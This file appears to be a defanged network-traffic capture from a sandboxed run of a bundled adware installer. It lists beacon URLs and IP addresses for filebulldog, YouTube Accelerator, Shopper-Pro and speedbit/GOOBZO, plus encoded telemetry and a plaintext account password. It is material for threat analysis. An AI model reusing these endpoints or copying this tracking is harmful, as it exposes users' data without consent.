hxxp://repjs.shopper-pro.com/app/ping.ashx?e=aQQpsP6/AW3U0UsIWSR1jW9LKOllMFk562ls PLHCLDT03ZwnpMmri4u 59fITlqtmv4OlaXDlF0H0/8fBpMfpzI6WjgFlNrd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjmJzRidX4pF5NjXv5EZqqiuUcMgmj4Ul dhH2ZrpRFByrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vrCFJaRRqFgOQeDtbd39 1E5F6pz0Kicuu7qt5SzSh3tN36Ip4IYgHiv5aB7SaJyf7/QCal5Ww1c=	54.197.238.106
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420692792&SBPIDS=1
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=priceless&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=1&index_in_screen=1&index_in_session=1&display_height=125&0.06286979173393464	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WVbe3wHlwMHMZ3T6XmWM02WQYaVOi/x2jA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLwUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqrWb9MsNDYghd2VtDxrVgZdYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFGydUMzSPr4NgHSKOy1EnF Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zb8mmTeOJI67buUgzFbYTjzaWIpEqmcyo6G50zk5zx4MGKbw8hQN3Qw=	54.192.46.233
hxxp://q.pricejs.info/dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&type=quick&topic=suzan_wdrun&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535	54.225.216.220
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQo1JeSgT 5XmlmKz1/6dN2FyR4Q2YBo2R0chbtaLrix94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.46.233
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.1&utms=7&utmn=316248233&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(priceless)&utmhid=1345620086&utmr=-&utmp=Install_Complete&utmht=1420693021722&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://www.googleadservices.com/pagead/conversion/971163981/?random=1420692842737&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1	173.194.113.205
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMCzhm0AeRIUo44G r 3F6T7o ZAytpZ9B/ewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4gqhU/KMtaaY94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUZR0WuEl7dbF0kOkPP/ lcpu8eAfWsOK5ZLOhm7KiO348MKRqZY TBH6dnj3H5nABveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLNH39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR9k3ly07joAI=	54.192.46.233
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=3&index_in_screen=1&index_in_session=3&0.10311881856587251	78.138.127.15
hxxp://rep.shopper-pro.com/app/ping.ashx?e=QgW8pN5r26bof2QYjF1uP5ic0YnV KReB70p5cFj8vcSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EinyDU1xywvV3vvlC0n4Jh9gKkdlz1lRoZ4gGQsTv/jI9jUckoqA0UZuenVdpknkqRI26ArDLGl0Z1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ9H39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR3CV jqruKgNCn qX4FpTdffopz0y2Q7Y	54.197.238.106
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUbqfIekNLhs5jgb6v7cXpPsfukqxdW6Kzzz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0V1xu7KMyWvkL2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2qxIuLfE9QOuDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHBc1Nyo6/HRxg==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=xY8ohDYpM h6gEVzoYeGJ8xndPpeZYzTvzzMobpRZVeMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AiwYrkTZsU4Nhig98Kt9W9EmFAL52sIXt4VzPv64An3FhzYd0CRAC1t0Q6e3lj6TKF/Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTDFB7LhwruKyp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnx61URcKXv40=	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QgW8pN5r26avTpvRFjYpwr1yLlvxP1mX8f9/KvgcVLP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P15TOfRX20Ju/fV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YMkVSCntIhzCZedLPIUyUClqXRCjGf3kymM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz	54.192.46.233
hxxp://www.google-analytics.com/ga.js	173.194.113.196
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.1&utms=1&utmn=1625824679&utmhn=installer.filebulldog.com&utmhid=1815055538&utmr=-&utmp=Installer_Init&utmht=1420692777575&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1575299846&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.9144508896003505	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7pvV2oKfdHnAd6FyF1V4wa7OXLse4BafTbQC nVTu53h5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wuTqB8Jw3xHKPuMdH9xkPEEkuF2XgxcjeGW00vR0jOa4qEGVFBmbCPKl6yrhyfrOiGQmEP2wPcgs IILilpWF0zwh6 kBmZAgDvV8aygxQc4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKdJjQ9qCj/Wvb1yLlvxP1mXJOu5 HUVZsT8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P1Lzo9K2u FFEbGtOpbXm9kB1gsLoXCDzZ0JQd5HxgIXe2kHzAFrfmG0bgqzDLDp402M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2qxIuLfE9QOuDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHBc1Nyo6/HRxg==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRocgRgxetMCtyAhwsRGINrujy0 L7mTrvUD/BJ6yGvTMAjtdLvF54MjqM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz	54.192.46.233
hxxp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0	173.194.113.205
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692776&SBPIDS=1&KA=1	212.143.22.213
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YNYlTZYFVSl7P5bll8sXmM64i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=KC46TpkJIZzYLhsRuGeUacxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb Aiy4ZvM W8i8tSqMeNHAfSzsEPg2wrTtaLmz4gguKWlYXarCxFpgIgxIo2l87Wlt0nJEYL71eUDU8x/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7UBCzgBzVDw8IxMsl7o8zKx2fgybcx3qaBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLci/wVByNs0pOReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micnzQmrBFp0jDU	54.192.46.233
hxxp://3026708.r.msn.com/?type=1&domainId=3026708&dedup=1&actionid=238238	65.52.108.2
hxxp://cdn.visadd.com/script/14567725608/preload.js?subid=F18wsmtycl1-25383020-30f5-408f-b983-88ab51edfcbf	108.162.200.127
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=	23.43.139.27
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=	23.43.139.27
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=obiBp3WOda9tb/LgACKPGiyMiXp71dskPvLZmlZ/REBZxrddMpcl9iuIlCBhM10qy/hL8rqZ RaEgBvOe8 r0o/iiYZxylfDKPuMdH9xkPG/nLxuMxZnjpvztqm1ks0MUDU/qLqyxpOhe9XQAI/g0xXJq6etqh5BB5HOb5LKs708Yf66A51TV0n3PBY57gZaSpNFh3KRjOdBw5q/V 8gicVOgnEZemiTsynlrkkotjxHW5 PP3 xQCKpiCy8tT1IqsqBKQmNMgwZSLwFUo/y3 vZ8UlE5kQe0K0sjaOfEW1B092xzGmdx9jHfHsw8mq7XigkLJX7XBGF7Qe2/p5heBnJKiwdbvej29xQFYGWeoOF1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL2Vw/FKQ7TCCIE52/Qrexgg=	54.192.47.112
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUb9PKObAHk8Ms IILilpWF3L95ytGxurmx7yxagmX1ikbxkEeDXhjVSM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz	54.192.46.233
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.1&utms=1&utmn=2027506505&utmhn=bi.bisrv.com&utmhid=2022498955&utmr=-&utmp=Installer_Init&utmht=1420692710504&utmac=UA-31676879-1&utmcc=__utma=1.1332783022.1420692710.1420692710.1420692710.1;+__utmz=1.1420692710.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=818646258&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.113.196
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=	93.184.220.29
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QHucCbLl /brPsk3N17xhDEOJYAmH59VBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4Z8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX1I07m/8d9H/wBc8lsOAv28Lhu0b45kiT/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=/TVH52TeC6TMZ3T6XmWM0 WWoSvDtQRTjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIs72zIVN1UN1y6pljsVW0GPgTxIUcsgQ wxQcgloBwSmMwmitO34V/86C1h8Hfn1ha4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlvyaZN44kjrtu5SDMVthOPNpYikSqZzKjobnTOTnPHgwYpvDyFA3dDA==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=KC46TpkJIZzYLhsRuGeUacxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb Aiy4ZvM W8i8teG0picB3eoeudGrX9r3ODqz4gguKWlYXdsGxiYMuC8TKuJL2x o5erVet 40raSRZqUKOZJxNkSMyL2hojsUo7T9Mi8q zpXDfbEX1Gtkn K5TGjnxLKeg7/kJBOcX7k Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zb8mmTeOJI67buUgzFbYTjzaWIpEqmcyo6G50zk5zx4MGKbw8hQN3Qw=	54.192.46.233
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=j7YMo/n29XPRUlNDQ0FfzSyMiXp71dskc5CO4NI7HfzdEMPgzYwqeWQ14on7GBy1H8FvIvBulFZLg2W8Sjc jd8cMSGOxTWOZuS0/O3oV2rxodeePw 5cQZvOa80aetps1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfOXxrGh40ySfjpIRcIzv2J5 96KzbcM0zqdpBC4dpcfQ/t7tnmUrYIG3flsf95NzvTPcR1Y3Wmev/74tGvNvayU/6TSPHhrnPln4/wwk0n3rlr eli1WbKiL8d8yC4RVFjG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l7S3VSitHfZqNG3q5t3agipNjduQNQV4 zynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KidCnSW0KryT	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPCnIVMsUgdaKTEOJYAmH59Vsg7jyZ2P5QEQyol6Hp9Rdg0/niVdnGaSZ8I/ 0wMrWsNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccHLG3fPX8 gFXS/G3EQZqX35gOZQe8Bii1iht5zCK3FwaJkIKvOmtNBWOvghCBTr/YNeFbKg7t0VKYX3Ti/i3YM8Lp0Bjzny5hsSwoep2eKuZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoW16pnq3EtsLKYX3Ti/i3YOt/nuXGC1lQ7xKtVwphCE/yhsDDHNIJ6TYBMbHlkM59pcijYgxr FfqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1MMUHsuHCu4rKno8GnteDR/5XmqVNTeGVqFIpYhbjsGdgZYt2XdsqefHrVRFwpe/jQ==	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUanmGGYVS7/B0JQd5HxgIXcchUPaSyVwwPCqh8CqOQ5D94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.46.233
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=LU2XQ3qyK2DMZ3T6XmWM08nfOlO1RzQN3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dt2o5ApaNqnksNP54lXZxmkmfCP/tMDK1rDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHBQCJnqR2yMdprKaRosA0sEv7z7MjTyjNiO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJLh MsqZhmDfGMkHaRej7LEvbfMrWMyE/8zC6lNZ07stxoVjryQQFgYE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93DG2fyXpvPO0S3k08LxhX7QvzaT/KGyIKx5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wfuVW9IuUgOemS9jXjFgnw=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=wlkQ3WKgYpT/HsUBn07KUs4CTydo2RkEWCPN432LaqaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablBnsxRGYLsGfgtrTfhmT12vVAezdf3aKUSdvNRLeb/tYs4164GCUCrFoceVsKClDm/Wv9kqlZCJeiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8IS37QBYr6WNZiv78qWFsam6Mpeg1mvvHNMP8nao3Fu0qL 88MbCkJtUYb9dqX32KOEog NNy6LA==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAY luBT5UotGM4CTydo2RkEWCPN432LaqaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablBnsxRGYLsGfgtrTfhmT12vVAezdf3aKUSdvNRLeb/tYs4164GCUCrFAp3QYSCRp Rpd1THwhajU uvbl3jg3GmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXnErMQfcDuxkqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5zNmEULB9JS wB5esNx9efU=	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7pvV2oKfdHnAd6FyF1V4wa7OXLse4BafTbQC nVTu53h5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wuTqB8Jw3xHKPuMdH9xkPEEkuF2XgxcjeGW00vR0jOa4qEGVFBmbCNaC2D7gVLsXbVx0ChS3xYkKYX3Ti/i3YM8Lp0Bjzny5tnvt9BCIgQgmIUiuKCNOa29/FxaIQ7ErOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zb8mmTeOJI67buUgzFbYTjzaWIpEqmcyo6G50zk5zx4MGKbw8hQN3Qw=	54.192.46.233
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoRNUM0FVgKbyAltiGSLIu3jsPyl1vPIWdGHpnCw1y/LW9C2WJOxGWn/3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyzR9/WfyUA0lCzer71seELEwJZh5R5miz6iMnDtfyAskfZN5ctO46AC	54.192.46.233
hxxp://www.google-analytics.com/r/collect?v=1&_v=j31&a=1465322709&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1718075601&cid=369173105.1420692843&tid=UA-40752970-2&_r=1&z=1075254878	173.194.113.196
